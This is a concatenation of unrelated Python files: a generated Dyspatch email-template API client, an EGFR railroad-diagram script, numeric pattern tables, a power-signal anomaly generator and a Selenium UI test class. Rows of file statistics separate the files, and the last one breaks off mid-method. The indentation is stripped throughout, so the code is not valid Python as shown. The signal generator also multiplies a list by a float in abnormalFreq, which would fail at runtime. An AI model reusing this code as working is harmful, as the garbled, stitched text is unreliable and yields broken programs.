return self.api_client.call_api(
'/drafts/{draftId}/localizations', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[LocalizationMetaRead]', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def save_localization(self, draft_id, language_id, accept, inline_object, **kwargs): # noqa: E501
"""Create or update a localization # noqa: E501
Inserts a localization or sets the name on an existing localization that already uses the languageId # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.save_localization(draft_id, language_id, accept, inline_object, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param str draft_id: A draft ID (required)
:param str language_id: A language ID (eg: en-US) (required)
:param str accept: A version of the API that should be used for the request. For example, to use version \"2020.11\", set the value to \"application/vnd.dyspatch.2020.11+json\" (required)
:param InlineObject inline_object: (required)
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.save_localization_with_http_info(draft_id, language_id, accept, inline_object, **kwargs) # noqa: E501
def save_localization_with_http_info(self, draft_id, language_id, accept, inline_object, **kwargs): # noqa: E501
"""Create or update a localization # noqa: E501
Inserts a localization or sets the name on an existing localization that already uses the languageId # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.save_localization_with_http_info(draft_id, language_id, accept, inline_object, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param str draft_id: A draft ID (required)
:param str language_id: A language ID (eg: en-US) (required)
:param str accept: A version of the API that should be used for the request. For example, to use version \"2020.11\", set the value to \"application/vnd.dyspatch.2020.11+json\" (required)
:param InlineObject inline_object: (required)
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'draft_id',
'language_id',
'accept',
'inline_object'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method save_localization" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'draft_id' is set
if self.api_client.client_side_validation and ('draft_id' not in local_var_params or # noqa: E501
local_var_params['draft_id'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `draft_id` when calling `save_localization`") # noqa: E501
# verify the required parameter 'language_id' is set
if self.api_client.client_side_validation and ('language_id' not in local_var_params or # noqa: E501
local_var_params['language_id'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `language_id` when calling `save_localization`") # noqa: E501
# verify the required parameter 'accept' is set
if self.api_client.client_side_validation and ('accept' not in local_var_params or # noqa: E501
local_var_params['accept'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `accept` when calling `save_localization`") # noqa: E501
# verify the required parameter 'inline_object' is set
if self.api_client.client_side_validation and ('inline_object' not in local_var_params or # noqa: E501
local_var_params['inline_object'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `inline_object` when calling `save_localization`") # noqa: E501
collection_formats = {}
path_params = {}
if 'draft_id' in local_var_params:
path_params['draftId'] = local_var_params['draft_id'] # noqa: E501
if 'language_id' in local_var_params:
path_params['languageId'] = local_var_params['language_id'] # noqa: E501
query_params = []
header_params = {}
if 'accept' in local_var_params:
header_params['Accept'] = local_var_params['accept'] # noqa: E501
form_params = []
local_var_files = {}
body_params = None
if 'inline_object' in local_var_params:
body_params = local_var_params['inline_object']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['Bearer'] # noqa: E501
return self.api_client.call_api(
'/drafts/{draftId}/localizations/{languageId}', 'PUT',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def set_translation(self, draft_id, language_id, accept, request_body, **kwargs): # noqa: E501
"""Set translations for language # noqa: E501
Completely replaces any existing translations for the given language with those provided in request body. Variables embedded in keys or values are expected to be in the format `%(my_variable)s` and will automatically convert to the correct Dyspatch format depending on the type of template. Accepts key/value pairs in JSON format or in gettext PO file format. For JSON set `Content-Type` header to `application/json`. For gettext PO format set `Content-Type` header to `text/x-gettext-translation`. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.set_translation(draft_id, language_id, accept, request_body, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param str draft_id: A draft ID (required)
:param str language_id: A language ID (eg: en-US) (required)
:param str accept: A version of the API that should be used for the request. For example, to use version \"2020.11\", set the value to \"application/vnd.dyspatch.2020.11+json\" (required)
:param dict(str, str) request_body: (required)
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.set_translation_with_http_info(draft_id, language_id, accept, request_body, **kwargs) # noqa: E501
def set_translation_with_http_info(self, draft_id, language_id, accept, request_body, **kwargs): # noqa: E501
"""Set translations for language # noqa: E501
Completely replaces any existing translations for the given language with those provided in request body. Variables embedded in keys or values are expected to be in the format `%(my_variable)s` and will automatically convert to the correct Dyspatch format depending on the type of template. Accepts key/value pairs in JSON format or in gettext PO file format. For JSON set `Content-Type` header to `application/json`. For gettext PO format set `Content-Type` header to `text/x-gettext-translation`. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.set_translation_with_http_info(draft_id, language_id, accept, request_body, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param str draft_id: A draft ID (required)
:param str language_id: A language ID (eg: en-US) (required)
:param str accept: A version of the API that should be used for the request. For example, to use version \"2020.11\", set the value to \"application/vnd.dyspatch.2020.11+json\" (required)
:param dict(str, str) request_body: (required)
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'draft_id',
'language_id',
'accept',
'request_body'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method set_translation" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'draft_id' is set
if self.api_client.client_side_validation and ('draft_id' not in local_var_params or # noqa: E501
local_var_params['draft_id'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `draft_id` when calling `set_translation`") # noqa: E501
# verify the required parameter 'language_id' is set
if self.api_client.client_side_validation and ('language_id' not in local_var_params or # noqa: E501
local_var_params['language_id'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `language_id` when calling `set_translation`") # noqa: E501
# verify the required parameter 'accept' is set
if self.api_client.client_side_validation and ('accept' not in local_var_params or # noqa: E501
local_var_params['accept'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `accept` when calling `set_translation`") # noqa: E501
# verify the required parameter 'request_body' is set
if self.api_client.client_side_validation and ('request_body' not in local_var_params or # noqa: E501
local_var_params['request_body'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `request_body` when calling `set_translation`") # noqa: E501
collection_formats = {}
path_params = {}
if 'draft_id' in local_var_params:
path_params['draftId'] = local_var_params['draft_id'] # noqa: E501
if 'language_id' in local_var_params:
path_params['languageId'] = local_var_params['language_id'] # noqa: E501
query_params = []
header_params = {}
if 'accept' in local_var_params:
header_params['Accept'] = local_var_params['accept'] # noqa: E501
form_params = []
local_var_files = {}
body_params = None
if 'request_body' in local_var_params:
body_params = local_var_params['request_body']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/vnd.dyspatch.2020.11+json', '*/*']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['Bearer'] # noqa: E501
return self.api_client.call_api(
'/drafts/{draftId}/localizations/{languageId}/translations', 'PUT',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
def submit_draft_for_approval(self, draft_id, accept, **kwargs): # noqa: E501
"""Submit the draft for approval # noqa: E501
Moves the draft into submitted state. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.submit_draft_for_approval(draft_id, accept, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param str draft_id: A draft ID (required)
:param str accept: A version of the API that should be used for the request. For example, to use version \"2020.11\", set the value to \"application/vnd.dyspatch.2020.11+json\" (required)
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
return self.submit_draft_for_approval_with_http_info(draft_id, accept, **kwargs) # noqa: E501
def submit_draft_for_approval_with_http_info(self, draft_id, accept, **kwargs): # noqa: E501
"""Submit the draft for approval # noqa: E501
Moves the draft into submitted state. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.submit_draft_for_approval_with_http_info(draft_id, accept, async_req=True)
>>> result = thread.get()
:param async_req bool: execute request asynchronously
:param str draft_id: A draft ID (required)
:param str accept: A version of the API that should be used for the request. For example, to use version \"2020.11\", set the value to \"application/vnd.dyspatch.2020.11+json\" (required)
:param _return_http_data_only: response data without head status code
and headers
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: None
If the method is called asynchronously,
returns the request thread.
"""
local_var_params = locals()
all_params = [
'draft_id',
'accept'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method submit_draft_for_approval" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'draft_id' is set
if self.api_client.client_side_validation and ('draft_id' not in local_var_params or # noqa: E501
local_var_params['draft_id'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `draft_id` when calling `submit_draft_for_approval`") # noqa: E501
# verify the required parameter 'accept' is set
if self.api_client.client_side_validation and ('accept' not in local_var_params or # noqa: E501
local_var_params['accept'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `accept` when calling `submit_draft_for_approval`") # noqa: E501
collection_formats = {}
path_params = {}
if 'draft_id' in local_var_params:
path_params['draftId'] = local_var_params['draft_id'] # noqa: E501
query_params = []
header_params = {}
if 'accept' in local_var_params:
header_params['Accept'] = local_var_params['accept'] # noqa: E501
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/vnd.dyspatch.2020.11+json', '*/*']) # noqa: E501
# Authentication setting
auth_settings = ['Bearer'] # noqa: E501
return self.api_client.call_api(
'/drafts/{draftId}/publishRequest', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats)
| 52.279221 | 845 | 0.610661 | 6,645 | 56,357 | 4.960572 | 0.047404 | 0.0432 | 0.065831 | 0.021357 | 0.952947 | 0.938871 | 0.933774 | 0.929618 | 0.91903 | 0.916239 | 0 | 0.021107 | 0.313182 | 56,357 | 1,077 | 846 | 52.327762 | 0.830496 | 0.471406 | 0 | 0.73724 | 0 | 0 | 0.19762 | 0.050593 | 0 | 0 | 0 | 0 | 0 | 1 | 0.032136 | false | 0 | 0.009452 | 0 | 0.073724 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
9a7695a458b58a8c3db736f6d1ddd234cbdba5d6 | 5,130 | py | Python | Data/test.py | cdhavala26/railroad-diagrams | 5da1b4c859a0c1d1c15f752fb80400b4d2df82c3 | [
"CC0-1.0"
] | null | null | null | Data/test.py | cdhavala26/railroad-diagrams | 5da1b4c859a0c1d1c15f752fb80400b4d2df82c3 | [
"CC0-1.0"
] | null | null | null | Data/test.py | cdhavala26/railroad-diagrams | 5da1b4c859a0c1d1c15f752fb80400b4d2df82c3 | [
"CC0-1.0"
] | null | null | null | # Use the constructors
import sys
from railroad import *
#sys.stdout = open('EGFR.html', 'w')
print('<h1>Molecule Types:</h1>')
add('EGFR',
Diagram(
"EGFR(",
Choice(0, Comment(" "),
'ecd',
),
Choice(0, Comment(" "),
Sequence('Y1',
Choice(0, Comment(" "), '~U', '~P'),)
),
Choice(0, Comment(" "),
Sequence('Y2',
Choice(0, Comment(" "), '~U', '~P'),)
),
")"
))
add('EGF',
Diagram(
"EFG(",
Choice(0, Comment(" "),
'site',
),
")"
)
)
add('Grb2',
Diagram(
"Grb2(",
Choice(0, Comment(" "),
'sh2',
),
")"
))
add('Shc',
Diagram(
"Shc(",
Choice(0, Comment(" "),
Sequence('sh3',
Choice(0, Comment(" "), '~U', '~P'),)
),
")"
))
#add('\nSpecies:')
print('<h1>Species:</h1>')
add('EGFR',
Diagram(
"EGFR(",
Choice(0, Comment(" "),
'ecd',
),
Choice(0, Comment(" "),
Sequence('Y1',
Choice(0, Comment(" "), '~U'),)
),
Choice(0, Comment(" "),
Sequence('Y2',
Choice(0, Comment(" "), '~U'),)
),
")"
))
add('EGF',
Diagram(
"EFG(",
Choice(0, Comment(" "),
'site',
),
")"
)
)
add('Grb2',
Diagram(
"Grb2(",
Choice(0, Comment(" "),
'sh2',
),
")"
))
add('Shc_P',
Diagram(
"Shc(",
Choice(0, Comment(" "),
Sequence('sh3',
Choice(0, Comment(" "), '~P'),)
),
")"
))
add('Shc_U',
Diagram(
"Shc(",
Choice(0, Comment(" "),
Sequence('sh3',
Choice(0, Comment(" "), '~U'),)
),
")"
))
print('<h1>Observables:</h1>')
add('O0_EGFR_tot',
Diagram(
"EGFR(",
Choice(0, Skip(),
'ecd',
),
Choice(0, Skip(),
Sequence('Y1',
Choice(0, Skip(), '~U', '~P'),)
),
Choice(0, Skip(),
Sequence('Y2',
Choice(0, Skip(), '~U', '~P'),)
),
")"
))
add('O0_EGF_tot',
Diagram(
"EFG(",
Choice(0, Skip(),
'site',
),
")"
))
add('O0_Grb2_tot',
Diagram(
"Grb2(",
Choice(0, Skip(),
'sh2',
),
")"
))
add('O0_Shc_tot',
Diagram(
"Shc(",
Choice(0, Skip(),
Sequence('sh3',
Choice(0, Skip(), '~U', '~P'),)
),
")"
)
)
add('Dimers',
Diagram(
"EGFR(",
Choice(0, Skip(),
'ecd',
),
Choice(0, Comment(" "),
Sequence('tmd',
Choice(0, Comment(" "), 'bound'),)
),
Choice(0, Skip(),
Sequence('Y1',
Choice(0, Skip(), '~U', '~P'),)
),
Choice(0, Skip(),
Sequence('Y2',
Choice(0, Skip(), '~U', '~P'),)
),
")"
))
add('Dimers_s',
Diagram(
"EGFR(",
Choice(0, Skip(),
'ecd',
),
Choice(0, Comment(" "),
Sequence('tmd',
Choice(0, Comment(" "), 'bound'),)
),
Choice(0, Skip(),
Sequence('Y1',
Choice(0, Skip(), '~U', '~P'),)
),
Choice(0, Skip(),
Sequence('Y2',
Choice(0, Skip(), '~U', '~P'),)
),
")"
))
add('Y1',
Diagram(
"EGFR(",
Choice(0, Skip(),
'ecd',
),
Choice(0, Skip(),
'tmd',
),
Choice(0, Comment(" "),
Sequence('Y1',
Choice(0, Comment(" "), '~P'),)
),
Choice(0, Skip(),
Sequence('Y2',
Choice(0, Skip(), '~U', '~P'),)
),
")"
))
add('Y2',
Diagram(
"EGFR(",
Choice(0, Skip(),
'ecd',
),
Choice(0, Skip(),
'tmd',
),
Choice(0, Skip(),
Sequence('Y1',
Choice(0, Skip(), '~U', '~P'),)
),
Choice(0, Comment(" "),
Sequence('Y2',
Choice(0, Comment(" "), '~P'),)
),
")"
))
#sys.stdout.close
| 20.60241 | 64 | 0.284405 | 363 | 5,130 | 3.988981 | 0.123967 | 0.265884 | 0.270718 | 0.167127 | 0.804558 | 0.804558 | 0.801105 | 0.781768 | 0.760359 | 0.71547 | 0 | 0.038493 | 0.523977 | 5,130 | 248 | 65 | 20.685484 | 0.554464 | 0.017154 | 0 | 0.899083 | 0 | 0 | 0.104824 | 0.004169 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.009174 | 0 | 0.009174 | 0.013761 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 12 |
9aa4dda6333050befc5c7d326d92e7bf92794848 | 1,546 | py | Python | mysite/patterns/10.py | BioinfoNet/prepub | e19c48cabf8bd22736dcef9308a5e196cfd8119a | [
"MIT"
] | 19 | 2016-06-17T23:36:27.000Z | 2020-01-13T16:41:55.000Z | mysite/patterns/10.py | BioinfoNet/prepub | e19c48cabf8bd22736dcef9308a5e196cfd8119a | [
"MIT"
] | 13 | 2016-06-06T12:57:05.000Z | 2019-02-05T02:21:00.000Z | patterns/10.py | OmnesRes/GRIMMER | 173c99ebdb6a9edb1242d24a791d0c5d778ff643 | [
"MIT"
] | 7 | 2017-03-28T18:12:22.000Z | 2021-06-16T09:32:59.000Z | pattern_zero=[0.0, 0.09, 0.16, 0.2, 0.21, 0.24, 0.25, 0.29, 0.36, 0.4, 0.41, 0.44, 0.45, 0.49, 0.56, 0.6, 0.61, 0.64, 0.65, 0.69, 0.76, 0.8, 0.81, 0.84, 0.85, 0.89, 0.96]
pattern_odd=[0.0, 0.01, 0.04, 0.05, 0.09, 0.16, 0.2, 0.21, 0.24, 0.25, 0.29, 0.36, 0.4, 0.41, 0.44, 0.45, 0.49, 0.56, 0.6, 0.61, 0.64, 0.65, 0.69, 0.76, 0.8, 0.81, 0.84, 0.85, 0.89, 0.96]
pattern_even=[0.0, 0.01, 0.04, 0.05, 0.09, 0.16, 0.2, 0.21, 0.24, 0.25, 0.29, 0.36, 0.4, 0.41, 0.44, 0.45, 0.49, 0.56, 0.6, 0.61, 0.64, 0.65, 0.69, 0.76, 0.8, 0.81, 0.84, 0.85, 0.89, 0.96]
averages_even={0.0: [0.0], 0.25: [0.5], 0.85: [0.5], 0.69: [0.9, 0.1], 0.89: [0.9, 0.1], 0.44: [0.6, 0.4], 0.36: [0.2, 0.8], 0.41: [0.7, 0.3], 0.76: [0.8, 0.2], 0.96: [0.8, 0.2], 0.01: [0.7, 0.3], 0.29: [0.9, 0.1], 0.24: [0.6, 0.4], 0.45: [0.5], 0.04: [0.6, 0.4], 0.21: [0.7, 0.3], 0.09: [0.9, 0.1], 0.16: [0.2, 0.8], 0.6: [0.0], 0.4: [0.0], 0.84: [0.6, 0.4], 0.49: [0.9, 0.1], 0.81: [0.7, 0.3], 0.61: [0.7, 0.3], 0.64: [0.6, 0.4], 0.05: [0.5], 0.2: [0.0], 0.8: [0.0], 0.65: [0.5], 0.56: [0.8, 0.2]}
averages_odd={0.0: [0.0], 0.25: [0.5], 0.85: [0.5], 0.69: [0.9, 0.1], 0.89: [0.9, 0.1], 0.44: [0.6, 0.4], 0.36: [0.2, 0.8], 0.41: [0.7, 0.3], 0.76: [0.8, 0.2], 0.96: [0.8, 0.2], 0.01: [0.7, 0.3], 0.29: [0.9, 0.1], 0.24: [0.6, 0.4], 0.45: [0.5], 0.04: [0.6, 0.4], 0.21: [0.7, 0.3], 0.09: [0.9, 0.1], 0.16: [0.2, 0.8], 0.6: [0.0], 0.4: [0.0], 0.84: [0.6, 0.4], 0.49: [0.9, 0.1], 0.81: [0.7, 0.3], 0.61: [0.7, 0.3], 0.64: [0.6, 0.4], 0.05: [0.5], 0.2: [0.0], 0.8: [0.0], 0.65: [0.5], 0.56: [0.8, 0.2]} | 309.2 | 499 | 0.437257 | 504 | 1,546 | 1.331349 | 0.079365 | 0.089419 | 0.076006 | 0.059613 | 0.935917 | 0.935917 | 0.935917 | 0.935917 | 0.935917 | 0.935917 | 0 | 0.473846 | 0.15912 | 1,546 | 5 | 500 | 309.2 | 0.042308 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 11 |
b112c35e7a8498d23747cb8e4ee67a80d73ff498 | 2,963 | py | Python | DataGenerater.py | ZhouLiHai/data-digger | fb413fcaa0a0f1d8995b212e9b09b687322ba059 | [
"Apache-2.0"
] | 3 | 2018-06-23T03:36:54.000Z | 2019-09-11T07:17:00.000Z | DataGenerater.py | ZhouLiHai/DataDigger | fb413fcaa0a0f1d8995b212e9b09b687322ba059 | [
"Apache-2.0"
] | null | null | null | DataGenerater.py | ZhouLiHai/DataDigger | fb413fcaa0a0f1d8995b212e9b09b687322ba059 | [
"Apache-2.0"
] | null | null | null | import math
import random
def uShortDown(pos, priod, scale):
#定义并处理X轴信息
fragment = (2 * math.pi)/pos
ari_x = [fragment * i for i in range(pos * priod)]
#定义并处理电压暂降需要的参数信息
para = [scale * 1 for i in range(pos * priod)]
start_p = 2 * pos
end_p = 8 * pos
for i in range(pos * priod):
if(i > start_p and i < end_p):
para[i] = scale * random.randint(35,50)/100.0
#根据X轴坐标和相对应的参数生成y轴数值
ari_y = [para[i] * math.sin(ari_x[i]) for i in range(pos * priod)]
return [(ari_x[i], ari_y[i]) for i in range(pos * priod)]
def uShortUp(pos, priod, scale):
#定义并处理X轴信息
fragment = (2 * math.pi)/pos
ari_x = [fragment * i for i in range(pos * priod)]
#定义并处理电压暂降需要的参数信息
para = [scale * 1 for i in range(pos * priod)]
start_p = 2 * pos
end_p = 8 * pos
for i in range(pos * priod):
if(i > start_p and i < end_p):
para[i] = scale * random.randint(135,150)/100.0
#根据X轴坐标和相对应的参数生成y轴数值
ari_y = [para[i] * math.sin(ari_x[i]) for i in range(pos * priod)]
return [(ari_x[i], ari_y[i]) for i in range(pos * priod)]
def uShortSusp(pos, priod, scale):
#定义并处理X轴信息
fragment = (2 * math.pi)/pos
ari_x = [fragment * i for i in range(pos * priod)]
#定义并处理电压暂降需要的参数信息
para = [scale * 1 for i in range(pos * priod)]
start_p = 2 * pos
end_p = 8 * pos
for i in range(pos * priod):
if(i > start_p and i < end_p):
para[i] = random.randint(135,150)/100.0
#根据X轴坐标和相对应的参数生成y轴数值
ari_y = [para[i] * math.sin(ari_x[i]) for i in range(pos * priod)]
return [(ari_x[i], ari_y[i]) for i in range(pos * priod)]
def abnormalFreq(pos, priod, scale):
#定义并处理X轴信息
fragment = (2 * math.pi)/pos
ari_x = [fragment * i for i in range(pos * priod)]
#定义并处理电压暂降需要的参数信息
freq_para = [1 for i in range(pos * priod)]
start_p = 2 * pos
for i in range(pos * priod):
if(i > start_p):
freq_para[i] = 2;
#根据X轴坐标和相对应的参数生成y轴数值
ari_y = scale * [math.sin(freq_para[i] * ari_x[i]) for i in range(pos * priod)]
return [(ari_x[i], ari_y[i]) for i in range(pos * priod)]
def uInstantOverLoad(pos, priod, scale):
#定义并处理X轴信息
fragment = (2 * math.pi)/pos
ari_x = [fragment * i for i in range(pos * priod)]
#根据X轴坐标和相对应的参数生成y轴数值
ari_y = [scale * math.sin(ari_x[i]) for i in range(pos * priod)]
for i in range(10):
if (ari_y[random.randint(2 * pos, 8 * pos)] > 0):
ari_y[random.randint(2 * pos, 8 * pos)] = scale * random.randint(1,100)/100
return [(ari_x[i], ari_y[i]) for i in range(pos * priod)]
def Ibump(pos, priod, scale):
#定义并处理X轴信息
fragment = (2 * math.pi)/pos
ari_x = [fragment * i for i in range(pos * priod)]
para = [0.2 for i in range(pos * priod)]
part = 0.003
for i in range(pos * priod):
if(i < 6 * pos):
part += 0.003
para[i] = 1.0/(part + 1)
#根据X轴坐标和相对应的参数生成y轴数值
ari_y = [para[i] * scale * math.sin(ari_x[i]) for i in range(pos * priod)]
return [(ari_x[i], ari_y[i]) for i in range(pos * priod)] | 25.324786 | 81 | 0.611205 | 516 | 2,963 | 3.414729 | 0.093023 | 0.15437 | 0.098751 | 0.181044 | 0.888763 | 0.872872 | 0.829171 | 0.829171 | 0.788309 | 0.788309 | 0 | 0.032758 | 0.237597 | 2,963 | 117 | 82 | 25.324786 | 0.747233 | 0.078299 | 0 | 0.609375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.09375 | false | 0 | 0.03125 | 0 | 0.21875 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
b12e027a25fe13c832fb918170e8b37d533f2f4f | 3,540 | py | Python | 3.3.1/se34euca/se34euca/testcase/testcase_view_page.py | eucalyptus/se34euca | af5da36754fccca84b7f260ba7605b8fdc30fa55 | [
"BSD-2-Clause"
] | 8 | 2015-01-08T21:06:08.000Z | 2019-10-26T13:17:16.000Z | 3.3.1/se34euca/se34euca/testcase/testcase_view_page.py | eucalyptus/se34euca | af5da36754fccca84b7f260ba7605b8fdc30fa55 | [
"BSD-2-Clause"
] | null | null | null | 3.3.1/se34euca/se34euca/testcase/testcase_view_page.py | eucalyptus/se34euca | af5da36754fccca84b7f260ba7605b8fdc30fa55 | [
"BSD-2-Clause"
] | 7 | 2016-08-31T07:02:21.000Z | 2020-07-18T00:10:36.000Z | from se34euca.testcase.testcase_base import *
class testcase_view_page(testcase_base):
def check_login_and_logout(self):
print "=== runTest: Check Login and Logout ==="
print
self.eucaUITester.base.test_ui_login()
self.eucaUITester.base.test_ui_logout()
def get_dashboard_source(self):
print "=== runTest: Get Dashboard Source ==="
print
self.eucaUITester.base.test_ui_login()
self.eucaUITester.base.test_ui_view_page_get_dashboard_source()
self.eucaUITester.base.test_ui_logout()
def view_keypairs_page(self):
print "=== runTest: View Keypairs Page ==="
print
self.eucaUITester.base.test_ui_login()
self.eucaUITester.keypair.test_ui_gotopage_keypairs()
self.eucaUITester.base.test_ui_logout()
def view_running_page(self):
print "=== runTest: View Running Page ==="
print
self.eucaUITester.base.test_ui_login()
self.eucaUITester.instance.test_ui_gotopage_running()
self.eucaUITester.base.test_ui_logout()
def view_security_groups_page(self):
print "=== runTest: View Security Groups Page ==="
print
self.eucaUITester.base.test_ui_login()
self.eucaUITester.security_group.test_ui_gotopage_security_groups()
self.eucaUITester.base.test_ui_logout()
def view_volumes_page(self):
print "=== runTest: View Volumes Page ==="
print
self.eucaUITester.base.test_ui_login()
self.eucaUITester.volume.test_ui_gotopage_volumes()
self.eucaUITester.base.test_ui_logout()
def view_images_page(self):
print "=== runTest: View Images Page ==="
print
self.eucaUITester.base.test_ui_login()
self.eucaUITester.image.test_ui_gotopage_images()
self.eucaUITester.base.test_ui_logout()
def view_all_page(self):
